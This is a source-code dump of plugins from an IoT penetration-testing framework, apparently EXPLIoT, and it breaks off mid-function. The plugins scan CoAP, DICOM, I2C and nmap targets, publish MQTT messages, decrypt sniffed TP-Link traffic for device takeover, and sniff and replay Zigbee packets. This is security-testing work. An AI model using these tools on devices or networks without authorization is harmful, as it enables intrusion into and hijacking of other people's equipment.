help="Hostname/IP address of the target CoAP Server", 66 | ) 67 | self.argparser.add_argument( 68 | "-p", 69 | "--rport", 70 | default=COAP_PORT, 71 | type=int, 72 | help="Port number of the target CoAP Server. Default " 73 | "is {}".format(COAP_PORT), 74 | ) 75 | 76 | def execute(self): 77 | """Execute the test.""" 78 | TLog.generic( 79 | "Sending GET request to CoRE discovery URI Path ({}) " 80 | "to CoAP Server {} on port {}".format( 81 | WKRPATH, 82 | self.args.rhost, 83 | self.args.rport 84 | ) 85 | ) 86 | try: 87 | scanner = CoapDiscovery(self.args.rhost, port=self.args.rport) 88 | scanner.scan() 89 | resources = scanner.services() 90 | for resource in resources: 91 | self.output_handler(**resource) 92 | self.output_handler(total_resources=len(resources)) 93 | except: # noqa: E722 94 | self.result.exception() 95 | -------------------------------------------------------------------------------- /expliot/plugins/crypto/__init__.py: -------------------------------------------------------------------------------- 1 | """Crypto based plugins.""" 2 | -------------------------------------------------------------------------------- /expliot/plugins/crypto/tpldecrypt.py: -------------------------------------------------------------------------------- 1 | """Plugin to decrypt TPlink PCAP.""" 2 | 3 | 4 | from expliot.core.tests.test import TCategory, Test, TTarget 5 | from expliot.core.vendors.tplink import crypto 6 | 7 | 8 | class TPlinkdecrypt(Test): 9 | """ 10 | Test for TPLink Smart devices. 11 | 12 | Output Format: 13 | [{"decrypted_data": "{'foo': 'bar'}"}] 14 | """ 15 | 16 | def __init__(self): 17 | """Initialize the test for TPlink smart devices.""" 18 | super().__init__( 19 | name="decrypt", 20 | summary="TPLink Smart device communication decryption ", 21 | descr="This plugin helps to fetch the json from the encrypted " 22 | "commands being sent by the user through the KASA mobile to the " 23 | "TP-Link smart device & this fetched json can be then sent to the " 24 | "target device using takeover plugin.", 25 | author="Appar Thusoo", 26 | email="appar@payatu.com", 27 | ref=[ 28 | "https://www.softscheck.com/en/reverse-engineering-tp-link-hs110/", 29 | "https://github.com/softScheck/tplink-smartplug"], 30 | category=TCategory(TCategory.CRYPTO, TCategory.SW, TCategory.EXPLOIT), 31 | target=TTarget(TTarget.TP_LINK_IOT, "1.0", TTarget.TP_LINK), 32 | ) 33 | 34 | self.argparser.add_argument( 35 | "-d", 36 | "--data", 37 | required=True, 38 | help="Specify the hex string from the sniffed communication, without the 0x prefix. Ex. 2a3b4cddeeff11", 39 | ) 40 | 41 | def execute(self): 42 | """Execute the test.""" 43 | result = crypto.decrypt(self.args.data) 44 | self.output_handler(decrypted_data=str(result)) 45 | -------------------------------------------------------------------------------- /expliot/plugins/dicom/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for DICOM.""" 2 | 3 | # from expliot.core.protocols.internet.dicom import * 4 | from expliot.core.protocols.internet.dicom import ( 5 | PatientRootQueryRetrieveInformationModelFind, 6 | StudyRootQueryRetrieveInformationModelFind, 7 | PatientStudyOnlyQueryRetrieveInformationModelFind, 8 | ModalityWorklistInformationFind 9 | ) 10 | 11 | REFERENCE = "https://www.dicomstandard.org/current/" 12 | DICOMPORT = 104 13 | DEFAULTMODEL = "P" 14 | MODELS = {"P": PatientRootQueryRetrieveInformationModelFind, 15 | "S": StudyRootQueryRetrieveInformationModelFind, 16 | "O": PatientStudyOnlyQueryRetrieveInformationModelFind, 17 | "W": ModalityWorklistInformationFind} 18 | -------------------------------------------------------------------------------- /expliot/plugins/dicom/cecho.py: -------------------------------------------------------------------------------- 1 | """Plugin to check a connection to a DICOM instance.""" 2 | from expliot.core.protocols.internet.dicom import AE, VerificationPresentationContexts 3 | from expliot.core.tests.test import TCategory, TTarget, Test, TLog 4 | from expliot.plugins.dicom import REFERENCE, DICOMPORT 5 | 6 | 7 | # pylint: disable=bare-except 8 | class CEcho(Test): 9 | """ 10 | Test to check a connection to a DICOM instance. 11 | 12 | Output Format: 13 | [ 14 | { 15 | "server_implementation_version_name": b"DicomObjects.NET", 16 | "server_implementation_class_uid": "1.2.826.0.1.3680043.1.2.100.8.40.120.0" 17 | }, 18 | {"cecho_response_status": "0x0000"} # This is present only if the connection 19 | # is established. 20 | ] 21 | """ 22 | 23 | def __init__(self): 24 | """Initialize the test.""" 25 | super().__init__( 26 | name="c-echo", 27 | summary="DICOM Connection Checker", 28 | descr="This test case sends a C-ECHO command i.e. attempts to associate " 29 | "with the DICOM server (SCP - Service class Provider) and checks " 30 | "if we get a response from the server. It is a good way to identify " 31 | "if the server is running and we can connect with it i.e. the " 32 | "first step in pen testing DICOM.", 33 | author="Aseem Jakhar", 34 | email="aseemjakhar@gmail.com", 35 | ref=[ 36 | REFERENCE, 37 | "http://dicom.nema.org/MEDICAL/dicom/2016a/output/chtml/part07/sect_9.3.5.html", 38 | ], 39 | category=TCategory(TCategory.DICOM, TCategory.SW, TCategory.RECON), 40 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 41 | ) 42 | 43 | self.argparser.add_argument( 44 | "-r", 45 | "--rhost", 46 | required=True, 47 | help="The hostname/IP address of the target DICOM Server (SCP)", 48 | ) 49 | self.argparser.add_argument( 50 | "-p", 51 | "--rport", 52 | default=DICOMPORT, 53 | type=int, 54 | help="The port number of the target DICOM Server (SCP). " 55 | "Default is {}".format(DICOMPORT), 56 | ) 57 | self.argparser.add_argument( 58 | "-c", 59 | "--aetscu", 60 | default="ANY-SCU", 61 | help="Application Entity Title (AET) of Service Class User (SCU) i.e. " 62 | "the calling AET (client/expliot). Default is 'ANY-SCU' string.", 63 | ) 64 | self.argparser.add_argument( 65 | "-s", 66 | "--aetscp", 67 | default="ANY-SCP", 68 | help="Application Entity Title (AET) of Service Class Provider (SCP) i.e. " 69 | "the called AET (DICOM server). Default is 'ANY-SCP' string.", 70 | ) 71 | 72 | def execute(self): 73 | """Execute the test.""" 74 | TLog.generic( 75 | "Attempting to connect with DICOM server ({}) on port ({})".format( 76 | self.args.rhost, self.args.rport 77 | ) 78 | ) 79 | TLog.generic( 80 | "Using Calling AET ({}) Called AET ({})".format( 81 | self.args.aetscu, self.args.aetscp 82 | ) 83 | ) 84 | 85 | assoc = None 86 | try: 87 | app_entity = AE(ae_title=self.args.aetscu) 88 | app_entity.requested_contexts = VerificationPresentationContexts 89 | 90 | assoc = app_entity.associate( 91 | self.args.rhost, self.args.rport, ae_title=self.args.aetscp 92 | ) 93 | self.output_handler( 94 | tlogtype=TLog.TRYDO, 95 | server_implementation_version_name=assoc.acceptor.implementation_version_name, 96 | server_implementation_class_uid=assoc.acceptor.implementation_class_uid, 97 | ) 98 | if assoc.is_established: 99 | data_set = assoc.send_c_echo() 100 | if data_set: 101 | self.output_handler(cecho_response_status="0x{0:04x}".format(data_set.Status)) 102 | else: 103 | self.result.setstatus( 104 | passed=False, 105 | reason="Could not establish association with the server", 106 | ) 107 | except: # noqa: E722 108 | self.result.exception() 109 | finally: 110 | if assoc: 111 | assoc.release() 112 | -------------------------------------------------------------------------------- /expliot/plugins/i2c/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for communicating over i2c.""" 2 | 3 | DEFAULT_ADDR = 0 4 | SLAVE_ADDR = 0x50 5 | -------------------------------------------------------------------------------- /expliot/plugins/i2c/i2cscan.py: -------------------------------------------------------------------------------- 1 | """Support for scanning the I2C bus.""" 2 | 3 | from expliot.core.protocols.hardware.i2c import I2cController, I2cNackError 4 | from expliot.core.interfaces.ftdi import DEFAULT_FTDI_URL 5 | from expliot.core.tests.test import TCategory, Test, TLog, TTarget 6 | 7 | 8 | # pylint: disable=bare-except 9 | class I2cScan(Test): 10 | """ 11 | Scan the I2C bus for connected units. 12 | 13 | Output Format: 14 | 15 | [ 16 | {"address_found"="0x51"}, # Address for an I2C device on PCB 17 | # ... May be more than one address found 18 | { 19 | "total_found":6, 20 | "total_not_found": 7 21 | } 22 | ] 23 | """ 24 | 25 | def __init__(self): 26 | """Initialize the test.""" 27 | super().__init__( 28 | name="scan", 29 | summary="I2C Scanner", 30 | descr="This plugin scans the I2C bus and displays all the " 31 | "addresses connected to the bus.", 32 | author="Arun Magesh", 33 | email="arun.m@payatu.com", 34 | ref=["https://github.com/eblot/pyftdi"], 35 | category=TCategory(TCategory.I2C, TCategory.HW, TCategory.ANALYSIS), 36 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 37 | ) 38 | 39 | self.argparser.add_argument( 40 | "-u", 41 | "--url", 42 | default=DEFAULT_FTDI_URL, 43 | help="URL of the connected FTDI device. Default is {}. " 44 | "For more details on the URL scheme check " 45 | "https://eblot.github.io/pyftdi/urlscheme.html".format(DEFAULT_FTDI_URL), 46 | ) 47 | 48 | def execute(self): 49 | """Execute the plugin.""" 50 | 51 | TLog.generic("Scanning for I2C devices...") 52 | passed = 0 53 | fail = 0 54 | try: 55 | i2c = I2cController() 56 | i2c.set_retry_count(1) 57 | i2c.configure(self.args.url) 58 | for address in range(i2c.HIGHEST_I2C_ADDRESS + 1): 59 | port = i2c.get_port(address) 60 | try: 61 | port.read(0) 62 | self.output_handler(address_found="{}".format(hex(address))) 63 | passed = passed + 1 64 | except I2cNackError: 65 | fail = fail + 1 66 | self.output_handler(total_found=passed, 67 | total_not_found=fail) 68 | except: # noqa: E722 69 | self.result.exception() 70 | finally: 71 | i2c.terminate() 72 | -------------------------------------------------------------------------------- /expliot/plugins/mdns/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for zero-configuration networking (mDNS).""" 2 | MDNS_REFERENCE = "https://tools.ietf.org/html/rfc6762" 3 | -------------------------------------------------------------------------------- /expliot/plugins/modbus/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for interacting with Modbus over TCP.""" 2 | MODBUS_REFERENCE = [ 3 | "https://en.wikipedia.org/wiki/Modbus", 4 | "http://www.modbus.org/specs.php", 5 | ] 6 | 7 | MODBUS_PORT = 502 8 | DEFAULT_ADDR = 0 9 | DEFAULT_UNITID = 1 10 | DEFAULT_COUNT = 1 11 | COIL = 0 12 | DINPUT = 1 13 | HREG = 2 14 | IREG = 3 15 | READ_ITEMS = ["coil", "discrete_input", "holding_register", "input_register"] 16 | REG = 1 17 | WRITE_ITEMS = ["coil", "register"] 18 | -------------------------------------------------------------------------------- /expliot/plugins/mqtt/__init__.py: -------------------------------------------------------------------------------- 1 | """Plugin/test for MQTT.""" 2 | 3 | MQTT_REFERENCE = "http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/mqtt-v3.1.1.html" 4 | -------------------------------------------------------------------------------- /expliot/plugins/mqtt/mqttpub.py: -------------------------------------------------------------------------------- 1 | """Plugin to publish to a topic on an MQTT broker.""" 2 | from expliot.core.protocols.internet.mqtt import \ 3 | MqttClient, DEFAULT_MQTT_PORT, MQTT_ERR_SUCCESS 4 | 5 | from expliot.core.tests.test import Test, TCategory, TTarget, TLog 6 | from expliot.plugins.mqtt import MQTT_REFERENCE 7 | 8 | 9 | # pylint: disable=bare-except 10 | class MqttPub(Test): 11 | """ 12 | Publish a MQTT message to a given MQTT broker. 13 | 14 | Output Format: 15 | There is no output. 16 | """ 17 | 18 | def __init__(self): 19 | """Initialize the test.""" 20 | 21 | super().__init__( 22 | name="pub", 23 | summary="MQTT Publisher", 24 | descr="This test case publishes a message on a topic to a" 25 | "specified MQTT broker on a specified port.", 26 | author="Aseem Jakhar", 27 | email="aseemjakhar@gmail.com", 28 | ref=[MQTT_REFERENCE], 29 | category=TCategory(TCategory.MQTT, TCategory.SW, TCategory.RECON), 30 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 31 | ) 32 | 33 | self.argparser.add_argument( 34 | "-r", 35 | "--rhost", 36 | required=True, 37 | help="Hostname/IP address of the target MQTT broker", 38 | ) 39 | self.argparser.add_argument( 40 | "-p", 41 | "--rport", 42 | default=DEFAULT_MQTT_PORT, 43 | type=int, 44 | help="Port number of the target MQTT broker. Default is 1883", 45 | ) 46 | self.argparser.add_argument( 47 | "-t", 48 | "--topic", 49 | required=True, 50 | help="Topic name on which message has to be published", 51 | ) 52 | self.argparser.add_argument( 53 | "-m", 54 | "--msg", 55 | required=True, 56 | help="Message to be published on the specified topic", 57 | ) 58 | self.argparser.add_argument( 59 | "-i", 60 | "--id", 61 | help="The client ID to be used for the connection. Default is " 62 | "random client ID", 63 | ) 64 | self.argparser.add_argument( 65 | "-u", 66 | "--user", 67 | help="Specify the user name to be used. If not specified, it " 68 | "connects without authentication", 69 | ) 70 | self.argparser.add_argument( 71 | "-w", 72 | "--passwd", 73 | help="Specify the password to be used. If not specified, it " 74 | "connects with without authentication", 75 | ) 76 | 77 | def execute(self): 78 | """Execute the plugin.""" 79 | TLog.generic( 80 | "Publishing message on topic ({}) to MQTT Broker ({}) on port " 81 | "({})".format(self.args.topic, self.args.rhost, self.args.rport) 82 | ) 83 | try: 84 | client = MqttClient(client_id=self.args.id) 85 | client.easy_config( 86 | user=self.args.user, 87 | passwd=self.args.passwd, 88 | on_connect=client.on_connectcb, 89 | on_publish=client.on_publishcb, 90 | ) 91 | client.connect(self.args.rhost, self.args.rport) 92 | client.publish(self.args.topic, self.args.msg, 1) 93 | client.loop_forever() 94 | if client.connect_rc != MQTT_ERR_SUCCESS: 95 | self.result.setstatus(passed=False, reason=client.rcstr(client.connect_rc)) 96 | TLog.fail("MQTT Connection Failed. Return code ({}:{})".format( 97 | client.connect_rc, client.rcstr(client.connect_rc)) 98 | ) 99 | else: 100 | TLog.success("Message published") 101 | except: # noqa: E722 102 | self.result.exception() 103 | -------------------------------------------------------------------------------- /expliot/plugins/nmap/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for nmap scanning.""" 2 | -------------------------------------------------------------------------------- /expliot/plugins/nmap/cmd.py: -------------------------------------------------------------------------------- 1 | """Test for running an nmap scan""" 2 | 3 | from expliot.core.tests.test import Test, TCategory, TTarget, TLog 4 | from expliot.utils.nmap import Nmap, NOTIMEOUT 5 | 6 | 7 | # pylint: disable=bare-except 8 | class Cmd(Test): 9 | """ 10 | Plugin for running nmap by passing original arguments. 11 | 12 | Output Format: 13 | The format is variable depending on the nmap arguments. The nmap XML output 14 | is converted to a dict. More details on nmap XML output can be found here: 15 | 1. XML Output - https://nmap.org/book/output-formats-xml-output.html 16 | 2. DTD - https://svn.nmap.org/nmap/docs/nmap.dtd 17 | """ 18 | 19 | def __init__(self): 20 | """Initialize the test.""" 21 | super().__init__( 22 | name="cmd", 23 | summary="Nmap Command", 24 | descr="This plugin allows you to run nmap by passing its original " 25 | "arguments via the console.", 26 | author="Aseem Jakhar", 27 | email="aseemjakhar@gmail.com", 28 | ref=["https://nmap.org/"], 29 | category=TCategory(TCategory.NMAP, TCategory.SW, TCategory.RECON), 30 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 31 | ) 32 | 33 | self.argparser.add_argument( 34 | "-a", 35 | "--args", 36 | required=True, 37 | help="Nmap command line arguments", 38 | ) 39 | self.argparser.add_argument( 40 | "-t", 41 | "--timeout", 42 | type=int, 43 | default=NOTIMEOUT, 44 | help="Timeout for nmap command. Default is {} secs, " 45 | "which means no timeout".format(NOTIMEOUT), 46 | ) 47 | 48 | def execute(self): 49 | """Execute the test.""" 50 | 51 | TLog.success("nmap arguments = ({})".format(self.args.args)) 52 | try: 53 | nmp = Nmap() 54 | out, err = nmp.run_xmltodict_output(self.args.args, 55 | timeout=self.args.timeout or None) 56 | if err: 57 | self.result.setstatus(passed=False, reason=err) 58 | else: 59 | self.output_handler(**out) 60 | except: # noqa: E722 61 | self.result.exception() 62 | -------------------------------------------------------------------------------- /expliot/plugins/sample.py: -------------------------------------------------------------------------------- 1 | """Sample test/plugin as demo.""" 2 | from expliot.core.tests.test import Test, TCategory, TTarget, \ 3 | TLog, LOGNO 4 | 5 | DEFAULT_PORT = 80 6 | 7 | 8 | class Sample(Test): 9 | """ 10 | Test class for the sample. 11 | 12 | Every plugin needs to define and document the output format used in output_handler() 13 | Output Format: 14 | 15 | [ 16 | { 17 | {"found_entry_in_db": "FooEntry"}, 18 | {"found_entry_in_db": "FooEntry2"}, 19 | { 20 | "status": "Server is vulnerable", 21 | "services_available": [ 22 | "ssh", 23 | "foo" 24 | ] 25 | } 26 | ] 27 | """ 28 | 29 | def __init__(self): 30 | """Initialize the test.""" 31 | super().__init__( 32 | name="Sample", 33 | summary="Sample Summary", 34 | descr="Sample Description", 35 | author="Sample author", 36 | email="email@example.com", 37 | ref=["https://example.com", "https://example.dom"], 38 | category=TCategory(TCategory.COAP, TCategory.SW, TCategory.EXPLOIT), 39 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 40 | ) 41 | 42 | self.argparser.add_argument( 43 | "-r", "--rhost", required=True, help="IP address of the target" 44 | ) 45 | self.argparser.add_argument( 46 | "-p", 47 | "--rport", 48 | default=DEFAULT_PORT, 49 | type=int, 50 | help="Port number of the target. Default is {}".format(DEFAULT_PORT), 51 | ) 52 | self.argparser.add_argument( 53 | "-v", "--verbose", action="store_true", help="show verbose output" 54 | ) 55 | 56 | def pre(self): 57 | """Run before the test.""" 58 | TLog.generic("Enter {}.pre()".format(self.id)) 59 | # Only implement this if you need to do some setup etc. 60 | TLog.generic("Exit {}.pre()".format(self.id)) 61 | 62 | def post(self): 63 | """Run after the test.""" 64 | TLog.generic("Enter {}.post()".format(self.id)) 65 | # Only implement this if you need to do some cleanup etc. 66 | TLog.generic("Exit {}.post()".format(self.id)) 67 | 68 | def execute(self): 69 | """Execute the test.""" 70 | TLog.generic( 71 | "Sending request to server({}) on port({})".format( 72 | self.args.rhost, self.args.rport 73 | ) 74 | ) 75 | TLog.trydo("Searching imaginary database") 76 | self.output_handler(found_entry_in_db="FooEntry") 77 | # Or if you need to print extra message for only the console 78 | # but not required for the actual result output (chaining plugins) 79 | self.output_handler(msg="Found matching entry in database - ({})".format("FooEntry"), 80 | logkwargs=LOGNO, 81 | found_entry_in_db="FooEntry2") 82 | snd = "GET / HTTP/1.1" 83 | TLog.generic( 84 | "Sending command to server ({}) on port ({})".format( 85 | self.args.rhost, self.args.rport 86 | ) 87 | ) 88 | if self.args.verbose is True: 89 | TLog.generic("More verbose output. Sending payload ({})".format(snd)) 90 | TLog.fail("No response received") 91 | TLog.generic("Re-sending command") 92 | response = "Response received from the server" 93 | # In case of failure (Nothing to do in case of success) 94 | if response: 95 | self.output_handler(status="Server is vulnerable", services_available=["ssh", "foo"]) 96 | else: 97 | self.result.setstatus(passed=False, reason="Server is not vulnerable") 98 | # Or in case you want the test to fail with whatever exception occurred as the reason 99 | # use reason=self.result.exception() 100 | -------------------------------------------------------------------------------- /expliot/plugins/serial/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for serial communication.""" 2 | 3 | DEV_PORT = "/dev/ttyUSB0" 4 | DEFAULT_BYTES = 30 5 | READ_TIMEOUT = 3 6 | DEFAULT_BAUD = 115200 7 | DEFAULT_CHARS = "abcdefghijklmnopqrstuvwxyz" 8 | DEFAULT_WORDLEN = 3 9 | TIMEOUT_SECS = 0.5 10 | DEFAULT_BUFFSZ = 1 11 | -------------------------------------------------------------------------------- /expliot/plugins/spi/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for SPI communication.""" 2 | 3 | DEFAULT_ADDR = 0 4 | -------------------------------------------------------------------------------- /expliot/plugins/tcp/__init__.py: -------------------------------------------------------------------------------- 1 | """TCP based plugins.""" 2 | -------------------------------------------------------------------------------- /expliot/plugins/udp/__init__.py: -------------------------------------------------------------------------------- 1 | """UDP based plugins.""" 2 | -------------------------------------------------------------------------------- /expliot/plugins/upnp/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for UPNP tests.""" 2 | 3 | UPNP_REFERENCE = "https://openconnectivity.org/upnp-specs/UPnP-arch-DeviceArchitecture-v2.0-20200417.pdf" 4 | -------------------------------------------------------------------------------- /expliot/plugins/zbauditor/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for Zigbee Auditor network tests.""" 2 | -------------------------------------------------------------------------------- /expliot/plugins/zbauditor/zbadeviceinfo.py: -------------------------------------------------------------------------------- 1 | """Support for Zigbee Auditor Device Information.""" 2 | from expliot.core.interfaces.zbauditor import ZbAuditor 3 | from expliot.core.tests.test import TCategory, Test, TTarget 4 | 5 | 6 | # pylint: disable=bare-except 7 | class ZbAuditorDevInfo(Test): 8 | """ 9 | Zigbee Auditor Device information Plugin. 10 | 11 | Output Format: 12 | [ 13 | { 14 | 'device_name': 'ZigBee Auditor', 15 | 'fw_revision': '1.0.3', 16 | 'serial_number': 'E761FB48B6E4', 17 | 'services': { 18 | 'read_revision': True, 19 | 'read_services': True, 20 | 'channel_selection': True, 21 | 'radio on_off': True, 22 | '802.15.4_sniffer': True, 23 | '802.15.4_injection': True, 24 | '802.15.4_network_scan': True, 25 | '2.4_ghz': True 26 | } 27 | } 28 | ] 29 | """ 30 | 31 | def __init__(self): 32 | super().__init__( 33 | name="devinfo", 34 | summary="Displays Zigbee Auditor device information", 35 | descr="This plugin displays information about Zigbee Auditor.", 36 | author="Dattatray Hinge", 37 | email="dattatray@expliot.io", 38 | ref=["Reference: Zigbee Auditor user manual"], 39 | category=TCategory(TCategory.ZB_AUDITOR, TCategory.RD, TCategory.RECON), 40 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 41 | ) 42 | 43 | def execute(self): 44 | """Execute the test.""" 45 | 46 | try: 47 | auditor = ZbAuditor() 48 | dev_info_dict = auditor.get_interface_info() 49 | self.output_handler(**dev_info_dict) 50 | except: # noqa: E722 51 | self.result.exception() 52 | return 53 | -------------------------------------------------------------------------------- /expliot/plugins/zbauditor/zbareplay.py: -------------------------------------------------------------------------------- 1 | """Support for Zigbee packet replay for zigbee auditor.""" 2 | import time 3 | from expliot.core.common.exceptions import sysexcinfo 4 | from expliot.core.common.pcaphelper import PcapDumpReader 5 | from expliot.core.protocols.radio.dot154 import Dot154Radio 6 | from expliot.core.protocols.radio.dot154.dot154_utils import ( 7 | get_dst_pan_from_packet, 8 | is_ack_packet, 9 | ) 10 | from expliot.core.tests.test import TCategory, Test, TLog, TTarget 11 | 12 | 13 | # pylint: disable=bare-except 14 | class ZbAuditorReplay(Test): 15 | """ 16 | Zigbee packet dump replay plugin. 17 | 18 | Output Format: 19 | [ 20 | { 21 | "packets_received": 0, 22 | "packets_transmitted": 9 23 | } 24 | ] 25 | """ 26 | DELAYMS = 200 27 | 28 | def __init__(self): 29 | super().__init__( 30 | name="replay", 31 | summary="IEEE 802.15.4 packet replay", 32 | descr="This plugin reads packets from the specified pcap file and " 33 | "replays them on the specified channel.", 34 | author="Dattatray Hinge", 35 | email="dattatray@expliot.io", 36 | ref=[ 37 | "https://www.zigbee.org/wp-content/uploads/2014/11/docs-05-3474-20-0csg-zigbee-specification.pdf" 38 | ], 39 | category=TCategory(TCategory.ZB_AUDITOR, TCategory.RD, TCategory.EXPLOIT), 40 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 41 | ) 42 | 43 | self.argparser.add_argument( 44 | "-c", 45 | "--channel", 46 | type=int, 47 | required=True, 48 | help="IEEE 802.15.4 2.4 GHz channel to inject with Zigbee packets", 49 | ) 50 | self.argparser.add_argument( 51 | "-f", 52 | "--pcapfile", 53 | required=True, 54 | help="PCAP file name to be read for Zigbee packets", 55 | ) 56 | self.argparser.add_argument( 57 | "-p", 58 | "--pan", 59 | type=lambda x: int(x, 0), 60 | help="Replays packets for destination PAN address. Prefix 0x if pan is hex" 61 | "Example:- 0x12ab or 4779", 62 | ) 63 | self.argparser.add_argument( 64 | "-d", 65 | "--delay", 66 | type=int, 67 | default=self.DELAYMS, 68 | help="Inter-packet delay in milliseconds. Default is {}".format(self.DELAYMS), 69 | ) 70 | 71 | def execute(self): 72 | """Execute the test.""" 73 | dst_pan = None 74 | send_packet = False 75 | pcap_reader = None 76 | radio = None 77 | 78 | # Get Destination PAN address 79 | if self.args.pan: 80 | dst_pan = self.args.pan 81 | 82 | delay_sec = self.args.delay / 1000 83 | 84 | TLog.generic("{:<13}: ({})".format("Channel", self.args.channel)) 85 | TLog.generic("{:<13}: ({})".format("File", self.args.pcapfile)) 86 | TLog.generic("{:<13}: ({})".format("Delay (seconds)", delay_sec)) 87 | if dst_pan: 88 | TLog.generic("{:<15}: ({})".format("Destination PAN", hex(dst_pan))) 89 | TLog.generic("") 90 | 91 | try: 92 | radio = Dot154Radio() 93 | pcap_reader = PcapDumpReader(self.args.pcapfile) 94 | 95 | radio.radio_on() 96 | radio.set_channel(self.args.channel) 97 | 98 | while True: 99 | packet = pcap_reader.read_next_packet() 100 | if packet: 101 | if not dst_pan and not is_ack_packet(packet): 102 | send_packet = True 103 | elif dst_pan and dst_pan == get_dst_pan_from_packet(packet): 104 | send_packet = True 105 | 106 | if send_packet: 107 | radio.inject_raw_packet(packet[0:-2]) 108 | send_packet = False 109 | time.sleep(delay_sec) 110 | else: 111 | break 112 | 113 | except: # noqa: E722 114 | self.result.setstatus(passed=False, 115 | reason="Exception caught: {}".format(sysexcinfo())) 116 | 117 | finally: 118 | # Close file handler 119 | if pcap_reader: 120 | pcap_reader.close() 121 | 122 | # Turn OFF radio and exit 123 | if radio: 124 | self.output_handler(packets_received=radio.get_received_packets(), 125 | packets_transmitted=radio.get_transmitted_packets()) 126 | radio.radio_off() 127 | -------------------------------------------------------------------------------- /expliot/plugins/zbauditor/zbasniffer.py: -------------------------------------------------------------------------------- 1 | """Support for IEEE 802.15.4 packet sniff amd packet dump for Zigbee auditor.""" 2 | from expliot.core.common.pcapdlt import PCAP_DLT_IEEE802_15_4 3 | from expliot.core.common.pcaphelper import PcapDumper, PcapFrame 4 | from expliot.core.common.timer import Timer 5 | from expliot.core.protocols.radio.dot154 import Dot154Radio 6 | from expliot.core.tests.test import TCategory, Test, TLog, TTarget 7 | from expliot.core.common.exceptions import sysexcinfo 8 | 9 | 10 | # pylint: disable=bare-except 11 | class ZbAuditorSniffer(Test): 12 | """ 13 | IEEE 802.15.4 packet sniffer Plugin. 14 | 15 | Output Format: 16 | [ 17 | {"packets_received": 11} 18 | ] 19 | """ 20 | 21 | def __init__(self): 22 | super().__init__( 23 | name="sniffer", 24 | summary="IEEE 802.15.4 packet sniffer", 25 | descr="This plugin captures IEEE 802.15.4 packets on a specified " 26 | "channel and saves them in pcap format.", 27 | author="Dattatray Hinge", 28 | email="dattatray@expliot.io", 29 | ref=[ 30 | "https://www.zigbee.org/wp-content/uploads/2014/11/docs-05-3474-20-0csg-zigbee-specification.pdf" 31 | ], 32 | category=TCategory(TCategory.ZB_AUDITOR, TCategory.RD, TCategory.RECON), 33 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 34 | ) 35 | 36 | self.argparser.add_argument( 37 | "-c", 38 | "--channel", 39 | type=int, 40 | required=True, 41 | help="IEEE 802.15.4 2.4 GHz channel to sniff for Zigbee packets", 42 | ) 43 | 44 | self.argparser.add_argument( 45 | "-f", 46 | "--filepath", 47 | required=True, 48 | help="PACP file name to save packet dump file.", 49 | ) 50 | 51 | self.argparser.add_argument( 52 | "-n", 53 | "--count", 54 | default=65535, 55 | type=int, 56 | help="Number of packets to be captured before plugin stop. " 57 | "Default is 65535 packets.", 58 | ) 59 | 60 | self.argparser.add_argument( 61 | "-t", 62 | "--timeout", 63 | default=0, 64 | type=int, 65 | help="Sniffer timeout in seconds. " 66 | "Default is 0 seconds to mean keep running", 67 | ) 68 | 69 | def execute(self): 70 | """Execute the test.""" 71 | 72 | count = self.args.count 73 | timeout = self.args.timeout 74 | packetcount = 0 75 | pcap_writer = None 76 | radio = None 77 | 78 | TLog.generic("{:<13}: ({})".format("Channel", self.args.channel)) 79 | TLog.generic("{:<13}: ({})".format("File", self.args.filepath)) 80 | TLog.generic("{:<13}: ({})".format("Count", count)) 81 | TLog.generic("{:<13}: ({})".format("Time-Out", timeout)) 82 | 83 | try: 84 | # Get the Sniffer interface driver 85 | radio = Dot154Radio() 86 | 87 | # Create pcap file to dump the packet 88 | pcap_writer = PcapDumper(PCAP_DLT_IEEE802_15_4, self.args.filepath) 89 | 90 | # Turn ON radio sniffer 91 | radio.sniffer_on(self.args.channel) 92 | 93 | # kick start timer, if user set some timeout 94 | if timeout != 0: 95 | # Create Timer for timeout check 96 | timer = Timer() 97 | timer.timeout = timeout 98 | 99 | while True: 100 | packet = radio.read_raw_packet() 101 | if packet is not None: 102 | packetcount += 1 103 | pcap_frame = PcapFrame(packet) 104 | pcap_writer.write_to_pcapfile(pcap_frame.get_pcap_frame()) 105 | 106 | if timeout != 0: 107 | if timer.is_timeout(): 108 | break 109 | 110 | if packetcount == count: 111 | break 112 | 113 | except: # noqa: E722 114 | self.result.setstatus(passed=False, 115 | reason="Exception caught: {}".format(sysexcinfo())) 116 | 117 | finally: 118 | # Close file handler 119 | if pcap_writer: 120 | pcap_writer.close() 121 | 122 | # Turn OFF radio sniffer and exit 123 | if radio: 124 | # Execution Done 125 | self.output_handler(packets_received=radio.get_received_packets()) 126 | radio.sniffer_off() 127 | -------------------------------------------------------------------------------- /expliot/utils/__init__.py: -------------------------------------------------------------------------------- 1 | """Utilities for EXPLIoT.""" 2 | 3 | from subprocess import Popen, PIPE 4 | from shlex import split 5 | 6 | 7 | class Tool(): 8 | """ 9 | The base class for any commandline tool that we need to instantiate 10 | and execute. 11 | """ 12 | 13 | def __init__(self, path, default_args=""): 14 | """ 15 | Initialize the Tool object 16 | 17 | Args: 18 | path(str): The full path of the tool (or just the tool name 19 | if its parent path is in the $PATH 20 | default_args(str): Any default args that should always be 21 | part of the command arguments. Default is empty string "". 22 | Raises: 23 | ValueError 24 | """ 25 | if not path: 26 | raise ValueError("No path specified for Tool({})".format(self.__class__.__name__)) 27 | self.path = path 28 | self.default_args = default_args if default_args else "" 29 | 30 | def run(self, args, timeout=None): 31 